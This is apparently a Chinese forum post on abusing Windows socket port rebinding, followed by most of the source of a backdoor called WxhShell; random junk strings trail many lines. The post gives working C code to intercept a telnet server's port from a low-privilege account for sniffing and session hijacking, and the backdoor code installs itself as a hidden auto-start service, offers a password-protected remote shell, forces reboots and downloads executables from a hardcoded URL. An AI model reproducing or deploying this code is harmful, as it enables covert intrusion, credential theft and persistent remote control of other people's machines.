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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <dx xXzLT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;dl>  
ag^L' h$  
  saddr.sin_family = AF_INET; (yFR;5Fo  
#n^P[Zw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P&3'N~k-  
%iWup:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UhCE.# U  
@Md%gEh;&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~ \tI9L?|A  
^Ye i9bXl  
  这意味着什么?意味着可以进行如下的攻击: >9c$2d|>  
bkkhx,Oi[G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E 3b`GRay  
(#* 7LdZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <Vyv)#32o3  
g(t"+ P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )/H=m7}1h  
aX`"V/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [8|Y2Z\N  
0/K?'&$yvb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qt`hUyL  
+GCN63 nX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &_Kb;UVRj  
V/|).YG2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FjRt'  
F. 5'5%  
  #include .nN=M>#/  
  #include m>yb}+  
  #include &*2\1;1tB  
  #include    Zjis0a]v~k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _CqVH5U?  
  int main() ^X-3YhJ4U  
  { |dIP &9  
  WORD wVersionRequested; 8B#;ffkmN  
  DWORD ret; AGaM &x=  
  WSADATA wsaData; c%1k'Q  
  BOOL val; m$<LO%<~p  
  SOCKADDR_IN saddr; +B(x:hzY9  
  SOCKADDR_IN scaddr; 9R_2>BDn  
  int err; g4b-~1[S  
  SOCKET s; (Z:(f~;  
  SOCKET sc; s18o,Zs'  
  int caddsize; @.rVg XE=!  
  HANDLE mt; _:R Q9x'  
  DWORD tid;   P<. TiF?@  
  wVersionRequested = MAKEWORD( 2, 2 ); U,G!u=+  
  err = WSAStartup( wVersionRequested, &wsaData ); $x5,Oen  
  if ( err != 0 ) { tx$i(  
  printf("error!WSAStartup failed!\n"); N+)gYb6h  
  return -1; 8S8^sP  
  } ;HKb  
  saddr.sin_family = AF_INET; iCz0T,  
   )^Ha?;TS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /mdPYV  
KBUClx?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t>f61<27eB  
  saddr.sin_port = htons(23); 6}V)\"u&   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .2K4<UOAbm  
  { WO}l&Q  
  printf("error!socket failed!\n"); 6[b?ckvi  
  return -1; |3Fo4K%+  
  } D]n"`< Ho  
  val = TRUE; 7m4gGkX#r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xgdS]Sz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 98c##NV(7|  
  { k!&G ;6O-  
  printf("error!setsockopt failed!\n"); y_s^dQe  
  return -1; YsX&]4vzm  
  } TT85G&#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /*V:Lh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %i!=.7o.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /mi9 q  
kiah,7V/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |"K<   
  { |8QXjzH  
  ret=GetLastError(); ^#6"d+lp  
  printf("error!bind failed!\n"); z%4E~u10  
  return -1; 4qd =]i  
  } 1 #zIAN>  
  listen(s,2); AX`>y@I  
  while(1) Y)Os]<N1  
  { 5l(8{,NDt  
  caddsize = sizeof(scaddr); T<jo@z1UL  
  //接受连接请求 wgN)*dpuI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A`5/u"]*D  
  if(sc!=INVALID_SOCKET) QNN*/n  
  { /Zzb7bHLK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #5Q?Q~E@  
  if(mt==NULL) 6w?l I  
  { yLC5S3^1\"  
  printf("Thread Creat Failed!\n"); gv6}GE  
  break; [Iwb7a0p  
  } T>~D(4r|pS  
  } ;0Vyim)S]  
  CloseHandle(mt); B}:/2?gQ  
  } 0x N1Xm0d  
  closesocket(s); D2,2Yy5 y  
  WSACleanup(); =&!L&M<<  
  return 0; A`#/:O4|f  
  }   ~x(1g;!^  
  DWORD WINAPI ClientThread(LPVOID lpParam) I^u$H&  
  { k@[P\(a3b  
  SOCKET ss = (SOCKET)lpParam; 5xS ze;  
  SOCKET sc; (Yv)%2  
  unsigned char buf[4096]; ytmFe!  
  SOCKADDR_IN saddr; M%3P@GRg  
  long num; <P%<EgOE  
  DWORD val; 6Mh;ld@  
  DWORD ret; ORc20NFy7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Mnv2tnU]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0\y{/P?I$  
  saddr.sin_family = AF_INET; .uoQ@3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); , GU|3  
  saddr.sin_port = htons(23); u%s@B1j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WGK:XfOBQ  
  { l DWg%pI+  
  printf("error!socket failed!\n"); 7\T~K Yb?  
  return -1; *GGiSt  
  } q n6ws  
  val = 100; 9B&fEmgEc?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) US.7:S-r"  
  { + Cf  
  ret = GetLastError(); CyWMr/'  
  return -1; |e%o  
  } Jc3Z1Tt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =_"[ &^  
  { 2_i9 q>I  
  ret = GetLastError(); `\pv^#5HV9  
  return -1; O^2@9 w  
  } 4 g%BCGsys  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lQq&tz,  
  { S>6f0\F/Y%  
  printf("error!socket connect failed!\n"); y-1!@|l0:6  
  closesocket(sc); )5j1;A:gr  
  closesocket(ss); 2VZdtz  
  return -1; ^z^zsNx  
  } h{5K9$9=  
  while(1) 7<Yf  
  { } vzNh_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hf#VW^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  W>HGB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B(zcoWQ*B  
  num = recv(ss,buf,4096,0); !#[=,'Y  
  if(num>0) A@?Rj  
  send(sc,buf,num,0); er%D`VHe  
  else if(num==0) 5.TeH@(  
  break; j} .,|7X  
  num = recv(sc,buf,4096,0); Osk'zFiL<  
  if(num>0) #J): N  
  send(ss,buf,num,0); m) -D rbE  
  else if(num==0) L T2UY*  
  break; !,0%ZG}]7  
  } ;WqWD-C  
  closesocket(ss); DDwj[' R  
  closesocket(sc); ib,BYFKEW  
  return 0 ; kgZiyPcw  
  } {~y,.[Ga  
6`JY:~V"  
P2t{il   
========================================================== 6]D%|R,Q#}  
qrw"z iW  
下边附上一个代码,,WXhSHELL $.0l% $7  
 L#>^R   
========================================================== |}07tUq  
!VoAN5#;  
#include "stdafx.h" 5X1z^(   
]aDU*tk  
#include <stdio.h> <,:5d2mM.  
#include <string.h> %%c1@2G<  
#include <windows.h> kHhxR;ymA7  
#include <winsock2.h> [WXa]d5Y  
#include <winsvc.h> )%6h9xyXt  
#include <urlmon.h> i .GJO +K  
[/+}E X  
#pragma comment (lib, "Ws2_32.lib") \v]esIP5R'  
#pragma comment (lib, "urlmon.lib") iS@+qWo1  
d>wpG^"w  
#define MAX_USER   100 // 最大客户端连接数 TilCP"(6D  
#define BUF_SOCK   200 // sock buffer qZwqnH  
#define KEY_BUFF   255 // 输入 buffer S!@h\3d8{  
m~;}8ObQE  
#define REBOOT     0   // 重启 ">|G^ @|:A  
#define SHUTDOWN   1   // 关机 )&F]j  
^lP;JT?  
#define DEF_PORT   5000 // 监听端口 >oHgs  
O>tz;RU  
#define REG_LEN     16   // 注册表键长度 pcC/$5FQ  
#define SVC_LEN     80   // NT服务名长度 ; VH:dg  
7E]qP 5  
// 从dll定义API p2I9t|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kwAL] kI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6!T9VL\=H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ygo4.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (M;jnQ0  
Q| _e=  
// wxhshell配置信息 5fjL  
struct WSCFG { AQU^7O  
  int ws_port;         // 监听端口 PO@b9O  
  char ws_passstr[REG_LEN]; // 口令 L}hc|(:  
  int ws_autoins;       // 安装标记, 1=yes 0=no /JGET  
  char ws_regname[REG_LEN]; // 注册表键名 WFm\ bZ.  
  char ws_svcname[REG_LEN]; // 服务名 pW,)yo4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , #nYHD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [yn\O=%5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EpUBO}q]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /t|Lu@&:Xo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w'Vm'zo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bD:[r))#e  
s,|"s|P  
}; }v4T&/vt-  
s%/x3anz=  
// default Wxhshell configuration ,~nrNkhp  
struct WSCFG wscfg={DEF_PORT, ;%a  
    "xuhuanlingzhe", S9kA69O  
    1, h#~\-j9>  
    "Wxhshell", k/,7FDO?m  
    "Wxhshell", (,XbxDfM  
            "WxhShell Service", u.rFZu?E\  
    "Wrsky Windows CmdShell Service", ANuO(^  
    "Please Input Your Password: ", -PiakX  
  1, FnWN]9  
  "http://www.wrsky.com/wxhshell.exe", mzm{p(.  
  "Wxhshell.exe" ]y\Wc0 q  
    }; &\m=|S  
ko+fJ&$  
// 消息定义模块 +aZcA#%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ep)O|_=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1%$Z%?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )N3XbbV  
char *msg_ws_ext="\n\rExit."; ! z6T_;s  
char *msg_ws_end="\n\rQuit."; *b,4qMr  
char *msg_ws_boot="\n\rReboot..."; {JlSfJw !  
char *msg_ws_poff="\n\rShutdown..."; " 7g\X$  
char *msg_ws_down="\n\rSave to "; M{4U%lk  
C0gO^A.d  
char *msg_ws_err="\n\rErr!"; K:q|M?_  
char *msg_ws_ok="\n\rOK!"; ,(;]8G-Yj  
+[2ep"5H  
char ExeFile[MAX_PATH]; Qpocj:  
int nUser = 0; l}_6 _g>6  
HANDLE handles[MAX_USER]; VM}7 ~  
int OsIsNt; &2sfu0K  
w`_"R6  
SERVICE_STATUS       serviceStatus; {NUI8AL46A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :kKdda<g#  
"_ H 9]}Q  
// 函数声明 +lw8YH  
int Install(void); ~v6]6+   
int Uninstall(void); w&x$RP  
int DownloadFile(char *sURL, SOCKET wsh); ^i!I0Q2yd  
int Boot(int flag); z#*> u  
void HideProc(void); S+bpWA  
int GetOsVer(void); 8}K4M(  
int Wxhshell(SOCKET wsl); cvVv-L<[S`  
void TalkWithClient(void *cs); !g4u<7  
int CmdShell(SOCKET sock); u$<>8aMei  
int StartFromService(void); &3f^]n!@  
int StartWxhshell(LPSTR lpCmdLine); 88On{Kk.v  
o&MOcy D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R1~wzy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~oz??SX  
ihd^P]  
// 数据结构和表定义 c0Yc~&RF  
SERVICE_TABLE_ENTRY DispatchTable[] = G=PX'dS  
{ c@Xb6z_>  
{wscfg.ws_svcname, NTServiceMain}, W H%EC$  
{NULL, NULL} [LM9^*sG2V  
}; J1Run0  
6z2%/P-'  
// 自我安装 `r]C%Y4?  
int Install(void) :6J&%n  
{ D"CU J?  
  char svExeFile[MAX_PATH]; (,D:6(R7t  
  HKEY key; zy`T! $  
  strcpy(svExeFile,ExeFile); H'}6Mw%ra  
>%LY0(hY3  
// 如果是win9x系统,修改注册表设为自启动 yof8LWXx  
if(!OsIsNt) { YySo%\d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JPM~tp?;<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *p0Kw>  
  RegCloseKey(key); ~\+Bb8+hpJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y|S>{$W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U(2=fKK;  
  RegCloseKey(key); |t~*!0>3  
  return 0; kS4YxtvB  
    } t==\D?Rt  
  } !8&EkXTw,  
} ! ~tf0aY  
else { iKu4s  
Vwb_$Yi+]  
// 如果是NT以上系统,安装为系统服务 VniU:A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +F*h\4ry#  
if (schSCManager!=0) og&-P=4O  
{ [qU`}S2  
  SC_HANDLE schService = CreateService W;?e@}  
  ( ~ R eX$9  
  schSCManager, w?P ex]i{  
  wscfg.ws_svcname, \1hQ7:f;\  
  wscfg.ws_svcdisp, K>TEt5  
  SERVICE_ALL_ACCESS, QD-`jV3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e.fxB  
  SERVICE_AUTO_START, W#2} EX  
  SERVICE_ERROR_NORMAL, -Jt36|O  
  svExeFile, Oh%p1$H  
  NULL, }WhRJr`a  
  NULL, GT\ yjrCd  
  NULL, 0rvBjlFT  
  NULL, HPg%v |  
  NULL }R/we`  
  ); +ViL"  
  if (schService!=0) Bo\~PV[  
  { lOM8%{.'_x  
  CloseServiceHandle(schService); #8~ygEa}  
  CloseServiceHandle(schSCManager); >!Xj%RW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (\o4 c0UzK  
  strcat(svExeFile,wscfg.ws_svcname); YRMe<upo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a_-@rceU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AD+OQLG]`  
  RegCloseKey(key); #lc6-K#  
  return 0; aKE`nA0\B  
    } Z}{]/=h  
  } H>},{ z  
  CloseServiceHandle(schSCManager); -9;?k{{[T  
} 97~>gFU77#  
} K-@\";whF  
/8!n7a7  
return 1; jo3(\Bq  
} ZH*h1?\X  
9hssI ZO  
// 自我卸载 }Q@~_3,UJ  
int Uninstall(void) 78r0K 5=  
{ :LlZ#V2  
  HKEY key; IZ\fvYp  
iSUu3Yv,_m  
if(!OsIsNt) { f( Dtv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Z#/%y3S  
  RegDeleteValue(key,wscfg.ws_regname); {> 8?6m-  
  RegCloseKey(key); \ \Tz'>[\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o';/$xrH  
  RegDeleteValue(key,wscfg.ws_regname); B?yj U[/R  
  RegCloseKey(key); ~mwIr  
  return 0; fFYoZ/\  
  } 74N3wi5B  
} Dv L8}dz  
} "RM\<)IF  
else { FD&^nJ_{  
,I ][  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r ;MFVj{  
if (schSCManager!=0) sH_, P  
{ t`{T:Tjc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7S^G]g!x  
  if (schService!=0) BFg&@7.X  
  { -(>Ch>O  
  if(DeleteService(schService)!=0) { t K/.9qP  
  CloseServiceHandle(schService); VumM`SH  
  CloseServiceHandle(schSCManager); s$? LMfT  
  return 0; 0xO*8aKT  
  } "^!y>]j#A  
  CloseServiceHandle(schService); jwBJG7\  
  } uv<_.Jq]  
  CloseServiceHandle(schSCManager); eO(U):C2  
} Hb::;[bm:  
} ^6R(K'E}  
|$e'y x6j  
return 1; p\F%Nj,  
} T:Ee6I 3l  
,|}mo+rb-  
// 从指定url下载文件 2%6 >)|  
int DownloadFile(char *sURL, SOCKET wsh) )p1~Jx(\  
{ b GI){0A  
  HRESULT hr; RPte[tq  
char seps[]= "/"; _H@ATut  
char *token; @SpP"/)JY  
char *file; ah_ >:x  
char myURL[MAX_PATH]; @2a!T03  
char myFILE[MAX_PATH]; %=Z/Frd  
)7.DF|A  
strcpy(myURL,sURL); l"1D' Hk  
  token=strtok(myURL,seps); t89Tt@cf  
  while(token!=NULL) ' |B3@9<  
  { !U>WAD9  
    file=token; |3yG  
  token=strtok(NULL,seps); ;RX u}pd  
  } `]XI Q\ *  
4oueLT(zc  
GetCurrentDirectory(MAX_PATH,myFILE); 0V21_".S  
strcat(myFILE, "\\"); zxCx2.7  
strcat(myFILE, file);  k4dC  
  send(wsh,myFILE,strlen(myFILE),0); qy)~OBY  
send(wsh,"...",3,0); KXK5\#+L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n=C"pH#  
  if(hr==S_OK) "t(_r@qU/  
return 0; @sA!o[gH  
else X!^|Tass  
return 1; FX|&o >S(8  
\3^ue0  
} Es)|#0m\x@  
0kOwA%m  
// 系统电源模块 nHk^trGm  
int Boot(int flag) ocJG4#  
{ ByJPSuc D  
  HANDLE hToken;  16~E  
  TOKEN_PRIVILEGES tkp; lV %1I@[M  
=3w;<1 ?'  
  if(OsIsNt) { p^|l ',e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W_JO~P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nWY^?e'S  
    tkp.PrivilegeCount = 1; dp'[I:X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qx[c0X!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -Z$u[L [c  
if(flag==REBOOT) { SnQT1U%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +jwHYfAK)  
  return 0; & rab,I"  
} ">z3i`#C'  
else { R=LiB+p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D\-\U E/  
  return 0; FZj>N(  
} %}VH5s9\  
  } !h7.xl OpN  
  else { @e GBF Ns  
if(flag==REBOOT) { @|DQZt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~;#}aQYo  
  return 0; eOE*$pH  
} ={zTQ+7S`  
else { M lR~`B}m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hyf ;f7`o  
  return 0; +K`A2&F9  
} r.\L@Y<  
} @ gWd  
Bso#+v5  
return 1; Pa{  
} V>`ANZ4  
~EPVu  
// win9x进程隐藏模块 lt&(S)  
void HideProc(void) Jq'8"  
{ BA]$Fi.Mw  
JUpV(p"-r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }Pg}"fb^  
  if ( hKernel != NULL ) sE6>JaH  
  { Q7$o&N{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $z jdCg<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VIP7j(#t_g  
    FreeLibrary(hKernel); p/HDG ^T:u  
  } Tn#Co$<  
P.,U>m  
return; EyE#x_A  
} Mz(Vf1pi%  
9_?xAJ  
// 获取操作系统版本 r[a7">n  
int GetOsVer(void) Y#ZgrziYM  
{ -SrZ^  
  OSVERSIONINFO winfo; Kf[d@ L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `x`[hJ?i  
  GetVersionEx(&winfo); tTLg;YjN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t~->&Ja   
  return 1; S' j g#*$  
  else TJO$r6&  
  return 0; >CqzC8JF  
} l}))vf=i  
9Rnypzds  
// 客户端句柄模块 ;=ddv@  
int Wxhshell(SOCKET wsl) N>!:bF  
{ %L+q:naZe  
  SOCKET wsh; ?BnU0R_r]  
  struct sockaddr_in client; }'$PYAf6  
  DWORD myID; 4N,mcV  
y2G Us&09  
  while(nUser<MAX_USER) JL1ajlm~  
{  p+h$]CH  
  int nSize=sizeof(client); qz-QVY,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >.iF,[.[F<  
  if(wsh==INVALID_SOCKET) return 1; <-umeY"n>  
bO=|utpk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ai{>rO3 }I  
if(handles[nUser]==0) { qNPhi  
  closesocket(wsh); AI-*5[w#A  
else E#B-JLMGl  
  nUser++; Lnr9*dm6q  
  } NBYJ'nA%;f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2?JV "O=  
$.SBW=^V  
  return 0; H@Z_P p?  
} fE-R(9K  
:!%VSem  
// 关闭 socket ju"z  
void CloseIt(SOCKET wsh) 2r, c{Ah@D  
{ f!9i6  
closesocket(wsh); ~dYCY_a  
nUser--; `\kihNkJn3  
ExitThread(0); i+Z)`  
} s,HbW%s  
p)y5[HX  
// 客户端请求句柄 .uuhoqG0  
void TalkWithClient(void *cs) )6OD@<r{  
{ YV O$`W^N  
-*C WF|<G  
  SOCKET wsh=(SOCKET)cs; x[(6V'  
  char pwd[SVC_LEN]; 5R7x%3@L  
  char cmd[KEY_BUFF]; p}1i[//S  
char chr[1]; uUH4vUa  
int i,j; v"USD<   
cb}"giXQTB  
  while (nUser < MAX_USER) { XUqorE  
0a~t  
if(wscfg.ws_passstr) { 8 #_pkVQw:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VW-qQe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R'>!1\?Iq  
  //ZeroMemory(pwd,KEY_BUFF); (8d uV  
      i=0; fkA+:j~z_  
  while(i<SVC_LEN) { *WwM"NFHDd  
1[%3kY-h  
  // 设置超时 }Q\%tZC#T  
  fd_set FdRead; S,#1^S  
  struct timeval TimeOut; Q_5 l.M/9]  
  FD_ZERO(&FdRead); I652Fcj  
  FD_SET(wsh,&FdRead); <DF3!r  
  TimeOut.tv_sec=8; @) Qgy}*5  
  TimeOut.tv_usec=0; HK;NR.D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |5&+VI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B `(jTL  
>Bt82ibN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EL 5+pt  
  pwd=chr[0]; 2~4:rEPJ:  
  if(chr[0]==0xd || chr[0]==0xa) { /0s1;?  
  pwd=0; GEBSUvM7  
  break; =rjU=3!&(  
  } E/;t6& 6  
  i++; hZ&KE78?  
    } ~k"+5bHa*  
TEtmmp0OD  
  // 如果是非法用户,关闭 socket #}`sfaT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HW@wia  
} d$t"Vp  
NR4+&d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0SQ!lr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >)>f~>  
V6]6KP#D  
while(1) { ACszx\[K3  
iT]t`7R  
  ZeroMemory(cmd,KEY_BUFF); a<cwrDZ  
(b&g4$!x&5  
      // 自动支持客户端 telnet标准   YT\`R  
  j=0; &K ~k'P~m  
  while(j<KEY_BUFF) { I/E9:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + G@N  
  cmd[j]=chr[0]; N /4E ~^2  
  if(chr[0]==0xa || chr[0]==0xd) { m1$tf ^  
  cmd[j]=0; (s};MdXIz  
  break; EVmBLH-a  
  } Ge^`f<f  
  j++; i]8O?Ab>?  
    } Pv -4psdw  
O]N/(pe:d  
  // 下载文件 u]p21)m$x  
  if(strstr(cmd,"http://")) { 9&+]YY CS-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NxP(&M(  
  if(DownloadFile(cmd,wsh)) 4G&`&fff]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%2u>N i^  
  else 8$(I! ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DiFLat]X  
  } 4cjfn'x  
  else { ; !n>  
uibmQ|AQ  
    switch(cmd[0]) { ddHl&+G  
  ORM>|&  
  // 帮助 RQVu~7d[  
  case '?': { \&"C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1@]&iZ]  
    break; MN?aPpr>  
  } >pq~ &)^u  
  // 安装 xyL"U*  
  case 'i': { 7=-Yxt  
    if(Install()) =uP? ?E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IJ^~,+  
    else yRXML\Ge  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lM-9J?j  
    break; rT2Njy1  
    } =?5)M_6)  
  // 卸载 ,!orD1,'  
  case 'r': { yD+4YD  
    if(Uninstall()) M @5&.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); abo=v<mR  
    else &@iOB #H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W[2]$TwT  
    break; j=r1JV @  
    } 7l* &Fh9;  
  // 显示 wxhshell 所在路径 @*z"Hi>4  
  case 'p': { $ XjijD9R  
    char svExeFile[MAX_PATH]; xf,[F8 2y  
    strcpy(svExeFile,"\n\r"); !"^Zr]Qt+\  
      strcat(svExeFile,ExeFile); b\P:a_vq  
        send(wsh,svExeFile,strlen(svExeFile),0); =%<=Bn  
    break; "i0>>@NR'  
    } >|taU8^|G}  
  // 重启 Fp\;j\pfw  
  case 'b': { 8(1*,CJQg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1!z{{H;W  
    if(Boot(REBOOT)) ;Y7' U rn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1 _"D+XB  
    else { 7FC!^)x1  
    closesocket(wsh); hRf l\Q[  
    ExitThread(0); "&6vFmr  
    } jVff@)_S  
    break; b-u@?G|<  
    } t;* zr*  
  // 关机 gUklP(T=u  
  case 'd': { $qD\ku;'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A@V$~&JCL5  
